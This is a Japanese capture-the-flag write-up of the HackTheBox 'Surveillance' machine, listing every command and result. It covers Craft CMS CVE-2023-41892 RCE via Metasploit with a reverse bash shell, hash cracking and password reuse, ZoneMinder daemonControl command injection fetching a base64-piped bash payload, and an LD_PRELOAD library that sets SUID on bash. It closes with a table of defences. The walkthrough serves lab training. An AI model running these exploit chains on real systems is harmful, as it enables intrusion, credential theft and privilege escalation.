HackTheBox: Surveillance — 全実行コマンド・実行結果レポート
Nmap
Craft CMS 検出
→
Craft CMS 検出
CVE-2023-41892
Imagick/MSL RCE
→
Imagick/MSL RCE
www-data shell
→
DBバックアップ窃取
admin SHA256
→
admin SHA256
hashcat -m 1400
starcraft122490
→
starcraft122490
SSH matthew
→
user.txt
→
ZoneMinder
daemonControl RCE
→
daemonControl RCE
ZM_LD_PRELOAD
SUID bash
→
SUID bash
root.txt
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & hosts 設定
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.230.42 nmap -sV -sC -p 22,80 10.129.230.42
RESULT (実機ライブ確認)
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 80/tcp open http nginx 1.18.0 (Ubuntu) Service Info: OS: Linux
BASH
curl -v http://10.129.230.42/ # → 302 Moved Temporarily, Location: http://surveillance.htb/ echo "10.129.230.42 surveillance.htb" | sudo tee -a /etc/hosts
Craft CMS の発見
BASH
curl -s http://surveillance.htb/ | grep -i "craft\|powered"
RESULT (実機ライブ確認)
Powered by <a href="https://github.com/craftcms/cms/tree/4.4.14">Craft CMS</a>
✅
Craft CMS 4.4.14 —
CVE-2023-41892 (PHP Object
Injection, unauthenticated RCE) の対象バージョン。
PHASE 2
CVE-2023-41892 — Imagick/MSL 経由の RCE
PDF記載の手法 (ログポイズニング) は実機で不発
⚠️
実機での重要な発見: 公式ウォークスルーは「悪意ある
User-Agent でリクエストログに PHP コードを書き込ませ、
\yii\rbac\PhpManager ガジェットの itemFile で
そのログファイルを include() させる」という手法を使うが、この
セッションの実機では Webシェルが設置されなかった (404のまま)。
原因は断定できていないが、Craft のログ出力タイミング/レベルが
devMode 設定などに依存して環境ごとに異なる可能性がある。
NOTE
# PDF記載の手法 (このセッションでは動作せず):
curl http://surveillance.htb/index.php \
-A '<?php `echo <base64>|base64 -d > /var/www/html/craft/web/shell.php`;?>'
curl -X POST http://surveillance.htb/index.php \
--data-urlencode action=conditions/render \
--data-urlencode configObject=craft\elements\conditions\ElementCondition \
--data-urlencode 'config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"storage/logs/web-YYYY-MM-DD.log"}]}}'
# → shell.php は作成されず (404 Page Not Found)
代替手法: Imagick 拡張 + MSL (Magick Scripting Language)
NOTE
同一 CVE に対する別の攻撃チェーン (Rapid7 Metasploit モジュール exploit/linux/http/craftcms_unauth_rce_cve_2023_41892 が実装) を使用。 1. FnStream ガジェットで phpinfo() を実行し upload_tmp_dir と DOCUMENT_ROOT を特定 2. Imagick コンストラクタに multipart で MSL ペイロード (caption:<?php @eval(...); ?> を書き込む XML) をアップロード 3. 2回目の Imagick インスタンス化 (vid:msl:<tmp>/php*) でその MSL を実行させ、DOCUMENT_ROOT に Webシェルを書き込む
BASH (Metasploit)
msfconsole -q -x " use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892 set RHOSTS 10.129.230.42 set RPORT 80 set SSL false set VHOST surveillance.htb set TARGET 1 set PAYLOAD cmd/unix/reverse_bash set LHOST 10.10.15.201 set LPORT 4446 exploit"
RESULT (実機ライブ確認)
[*] Started reverse TCP handler on 10.10.15.201:4446
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Deleted /var/www/html/craft/web/zRWAZgQIz.php
[+] Deleted /tmp/phpDmSwCC
[*] Command shell session 1 opened (10.10.15.201:4446 -> 10.129.230.42:44084)
✅
Craft CMS RCE 成功。
www-data としてシェル取得。
(ペイロード名がランダム生成のWebシェルを自動アップロード・実行し、
使用後は自動的に削除するため痕跡が残らない)
PHASE 3
Craft CMS バックアップから資格情報を奪取
DBバックアップの発見
SHELL (www-data)
ls -la /var/www/html/craft/storage/backups/
RESULT (実機ライブ確認)
-rw-r--r-- 1 root root 19918 Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip
SQL ダンプから admin パスワードハッシュを抽出
SHELL
cd /tmp && unzip -o /var/www/html/craft/storage/backups/*.sql.zip grep -a "INSERT INTO \`users\`" *.sql
RESULT (実機ライブ確認)
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B',
'admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec',
'2023-10-17 20:22:34', ... );
✅
SHA256 パスワードハッシュを取得。
hashcat によるクラック
BASH
echo '39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec' > hash.txt hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt hashcat -m 1400 hash.txt --show
RESULT (実機ライブ確認)
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490
Status...........: Cracked
Time.Started.....: 2 secs
Web管理者 / matthew SSH 認証情報
admin / matthew : starcraft122490
PHASE 4
SSH パスワード再利用 & user.txt
matthew として SSH ログイン
BASH
ssh matthew@surveillance.htb # Password: starcraft122490
RESULT (実機ライブ確認)
matthew@surveillance:~$ whoami
matthew
matthew@surveillance:~$ cat user.txt
c162c9bd17176c0855a0a2fa2733dfd7
user.txt — /home/matthew/user.txt
c162c9bd17176c0855a0a2fa2733dfd7
PHASE 5
ZoneMinder daemonControl RCE
内部サービスの発見
SHELL (matthew)
ss -tlnp 2>/dev/null || netstat -ant
RESULT (実機ライブ確認)
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
ZoneMinder API 認証 (パスワード再利用) — パスのハマりどころ
⚠️
実機での重要な発見: 公式ウォークスルーは ZoneMinder が
/zm/ サブパス配下 (/zm/api/host/login.json)
で動作している前提だが、このインスタンスでは ZoneMinder が 8080 の
ルート直下 (/api/host/login.json) で
直接動作していた。両方のパスを試す必要がある。
SHELL (matthewのSSHセッション経由でloopback到達)
curl -s -XPOST -d "user=admin&pass=starcraft122490" \ http://127.0.0.1:8080/api/host/login.json
RESULT (実機ライブ確認)
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...",
"access_token_expires":7200, "version":"1.36.32","apiversion":"2.0"}
daemonControl API のコマンドインジェクション
NOTE
ZoneMinder の HostController.php の daemonControl() 関数は zmdc.pl $command $daemon_name を exec() に直接渡しており、 $command 部分にシェルコマンドを注入できる。
SHELL
# $(echo|base64 -d|bash) をURLエンコードし # /$command 部分に埋め込む curl -XGET "http://127.0.0.1:8080/api/host/daemonControl/zmdc.pl/%24%28echo%20\ <base64>%7Cbase64%20-d%7Cbash%29.json?token=<access_token>"
RESULT (実機ライブ確認)
connect to [10.10.15.201] from (UNKNOWN) [10.129.230.42] 50428 bash: cannot set terminal process group (983): Inappropriate ioctl for device bash: no job control in this shell zoneminder@surveillance:/usr/share/zoneminder/www/api/app/webroot$ id uid=1001(zoneminder) gid=1001(zoneminder) groups=1001(zoneminder)
✅
ZoneMinder daemonControl RCE 成功。
zoneminder
ユーザーとしてシェル取得。
PHASE 6
ZM_LD_PRELOAD 悪用による SUID bash & root.txt
sudo 権限の確認
SHELL (zoneminder)
sudo -l
RESULT (実機ライブ確認)
User zoneminder may run the following commands on surveillance:
(ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
🚨
ZoneMinder の
ZM_LD_PRELOAD Config 値を使うと、
zmdc.pl がデーモンを起動する際に任意の共有ライブラリを
root 権限でプリロードさせられる。
SUID 付与ペイロードの作成 — コンパイルのハマりどころ
⚠️
実機での重要な発見: ターゲット上には
gcc
コマンド自体は存在するが、リンカ本体 ld が一切
インストールされていない (find / -name ld で見つかるのは
カーネルヘッダのダミースクリプトのみ)。ターゲット上でのコンパイルは
collect2: fatal error: cannot find 'ld' で必ず失敗するため、
Kali 側でローカルコンパイルし、HTTP 経由でアップロードする
必要がある。
C (shell.c)
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("chmod u+s /bin/bash");
}
BASH (Kali側でローカルコンパイル)
gcc -fPIC -shared -o shell.so shell.c -nostartfiles python3 -m http.server 8890 # Kali側で配布
SHELL (ターゲット側でダウンロード)
curl -s -o /tmp/shell.so http://10.10.15.201:8890/shell.so file /tmp/shell.so
RESULT (実機ライブ確認)
/tmp/shell.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
ZM_LD_PRELOAD の設定 & デーモン再起動でトリガー
SHELL
grep -h -E 'ZM_DB_(USER|PASS|NAME|HOST)' /etc/zm/zm.conf # → ZM_DB_USER=zmuser, ZM_DB_PASS=ZoneMinderPassword2023, ZM_DB_NAME=zm mysql -uzmuser -pZoneMinderPassword2023 -h localhost zm \ -e "UPDATE Config SET Value='/tmp/shell.so' WHERE Name='ZM_LD_PRELOAD';" sudo /usr/bin/zmdc.pl shutdown zmdc sudo /usr/bin/zmdc.pl startup zmdc
RESULT (実機ライブ確認)
Starting server
zoneminder@surveillance:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
✅
/bin/bash に SUID ビットが付与された。zmdc デーモン起動時に
/tmp/shell.so がプリロードされ、_init() が
root 権限で実行された証拠。
SUID bash で root.txt を取得
SHELL
/bin/bash -p -c "id; cat /root/root.txt"
RESULT (実機ライブ確認)
uid=1001(zoneminder) gid=1001(zoneminder) euid=0(root) groups=1001(zoneminder) 756fcb62cd1b954dde7d0cbbd998a31d
root.txt — /root/root.txt
756fcb62cd1b954dde7d0cbbd998a31d
SUMMARY
攻略サマリー & 教訓
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2023-41892 Craft CMS PHP Object Injection | Craft CMS 4.4.14 | 未認証リモートコード実行 | Critical | Imagick拡張+MSL経由でDOCUMENT_ROOTにWebシェルを書き込み |
| Web CMS の自動バックアップ zip がWeb経由到達可能な場所に平文保存 | /var/www/html/craft/storage/backups/ | DB内容 (パスワードハッシュ含む) の窃取 | High | シェルからzipを取得・展開しSQLダンプを読み取り |
| 弱いパスワードのSHA256ハッシュ + パスワード再利用 | admin (Craft/ZoneMinder) / matthew (SSH) | 横展開・権限昇格 | High | hashcat辞書攻撃でクラックし複数サービスへ再利用 |
| ZoneMinder daemonControl API のコマンドインジェクション | ZoneMinder 1.36.32 HostController.php | 認証済みRCE | Critical | zmdc.pl呼び出しのdaemon名パラメータにシェルコマンドを注入 |
| NOPASSWD sudo + ZM_LD_PRELOAD の任意ライブラリ設定 | /usr/bin/zm*.pl (NOPASSWD sudo) | root権限昇格 | Critical | DB経由でZM_LD_PRELOADを設定しSUID付与ライブラリをroot権限のデーモン起動時にロード |
取得したフラグ
| フラグ | パス | 値 |
|---|---|---|
| user.txt | /home/matthew/user.txt | c162c9bd17176c0855a0a2fa2733dfd7 |
| root.txt | /root/root.txt | 756fcb62cd1b954dde7d0cbbd998a31d |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| PHPのオブジェクトインジェクションを許すガジェットチェーン (Imagick MSL含む) | Craft CMS を修正版へアップデートする。ImageMagickのポリシー設定 (policy.xml) で MSL/危険なコーダーを無効化する。 |
| DBバックアップがWebルート配下の到達可能な場所に平文で保存されている | バックアップはWebルート外、またはアクセス制御された場所に保存する。定期バックアップの自動削除・暗号化も検討する。 |
| 同一パスワードを複数サービス (CMS管理者・OSユーザー・ZoneMinder) で使い回している | サービスごとに一意で強固なパスワードを使用し、パスワードマネージャーで管理する。 |
| 認証済みユーザーからの入力を検証せず exec() に渡している (daemonControl) | コマンド実行系APIではホワイトリスト方式でパラメータを厳格に検証する。シェルコマンド構築時はエスケープ処理を徹底する。 |
| NOPASSWD sudo で環境変数注入が可能なプログラム (Perlスクリプト経由でLD_PRELOAD反映) を実行できる | sudoers の設定は必要最小限のコマンド・引数に限定する。env_reset だけでなく !setenv や secure_path の徹底、アプリケーション側でのLD_PRELOAD等の危険な環境変数のサニタイズも検討する。 |

